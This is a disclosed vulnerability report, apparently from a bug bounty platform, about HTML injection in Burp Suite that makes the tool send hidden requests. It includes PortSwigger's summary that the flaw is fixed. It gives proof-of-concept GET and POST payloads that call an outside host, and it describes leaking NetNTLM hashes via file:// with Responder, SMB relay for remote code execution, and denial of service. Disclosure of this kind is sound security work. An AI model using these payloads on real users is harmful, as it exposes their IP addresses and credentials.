112 HTML Injection in Swing can disclose netNTLM hash or cause DoS

Share:

SUMMARY BY PORTSWIGGER WEB SECURITY

@issuefinder found a vulnerability that could result in Burp Suite issuing requests that do not respect its upstream proxy configuration and could leak NetNTLM hashes on Windows systems that fail to block outbound SMB.

This was fixed in 2020.12, and additional hardening to prevent future injections being used to leak netNTLM hashes was introduced in 2021.2

TIMELINE

issuefinder submitted a report to PortSwigger Web Security. Dec 8th (2 years ago)

The vulnerability is like a SSRF but on the client side, where an attacker can force an unsolicited hidden request made by Burp Suite when the victim performs some actions.
During normal browsing to a website through Burp Suite (Pro or Community), if the website makes a request with HTML code in a GET parameter or in a POST body, and the auditor (the victim):

- Intercepts that request, or
- Selects that request in HTTP history (Proxy tab), or
- Sends that request to repeater, or
- In repeater, makes any change to the HTML code (preserving the main structure),

Burp Suite will do an unsolicited hidden request to the destination specified in the "img" or "link" HTML tags.

Next, you can see a GET and a POST example that trigger an unsolicited hidden request to "http://www.rec2.ml/leak" just by pasting them on a repeater tab:

GET request (using the "img" tag)

Code 93 Bytes Wrap lines Copy Download

```
1 GET /burpsuite_leak_vuln-leak_impact.html?=<html><img+src='http://www.rec2.ml/leak'> HTTP/1.1
```

POST request (using the "link" tag)

Code 162 Bytes Wrap lines Copy Download

```
1 POST /burpsuite_leak_vuln-leak_impact.html HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3
4 =<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>
```

In fact, a smaller payload to produce the same behaviour can be achieved by pasting the following on a repeater tab:

Code 43 Bytes Wrap lines Copy Download

```
1 ?=<html><img+src='http://www.rec2.ml/leak'>
```

Impact

An attacker can exploit this vulnerability in at least 4 different ways:

##1. Real public IP address leak

The unsolicited hidden request does not respect the configuration in User options tab:

- Upstream Proxy Servers
- SOCKS proxy

An auditor (the victim), trying to hide his real public IP address from an audited website (using an upstream proxy server or a SOCKS proxy), would be leaking it without being aware of this fact.

Affected OS: Linux, MacOS, Windows
PoC video: burpsuite_leak_vuln-leak.mp4

##2. Windows NetNTLM hashes leak

If the HTML code uses the “file://” scheme instead of the “http[s]://” , it will produce an unsolicited hidden request using the SMB protocol that will negotiate and leak the auditor's:

- Username
- Computer name or domain
- NetNTLM hash

The NetNTLM can be cracked and therefore used at a later stage.
To negotiate and get the NetNTLM hash an attacker can use Responder (https://github.com/lgandx/Responder).

Affected OS: Windows
PoC video: burpsuite_leak_vuln-netntlm.mp4

##3. RCE on other machines

To perform this attack in the best scenario, an attacker must be on the same internal network with network visibility with the victim (auditor).
This attack is a variant of the previous one (2. Windows NetNTLM hashes leak) in which, instead of cracking the NetNTLM hash, the attacker does a MiTM to relay the SMB negotiation to other machines (without SMB signing enabled) and obtain a RCE in the context of the victim.

Affected OS: Windows
PoC video: burpsuite_leak_vuln-rce.mp4

##4. Denial of Service (DoS).

If the attacker does not respond to the unsolicited hidden request made by Burp Suite and keeps the TCP connection open, then it can freeze Burp Suite execution, forcing the auditor (victim) to lose the unsaved changes.

Affected OS: Linux, MacOS, Windows
PoC video: burpsuite_leak_vuln-dos.mp4

4 attachments:
F1109393: burpsuite_leak_vuln-leak.mp4
F1109394: burpsuite_leak_vuln-netntlm.mp4
F1109395: burpsuite_leak_vuln-dos.mp4
F1109396: burpsuite_leak_vuln-rce.mp4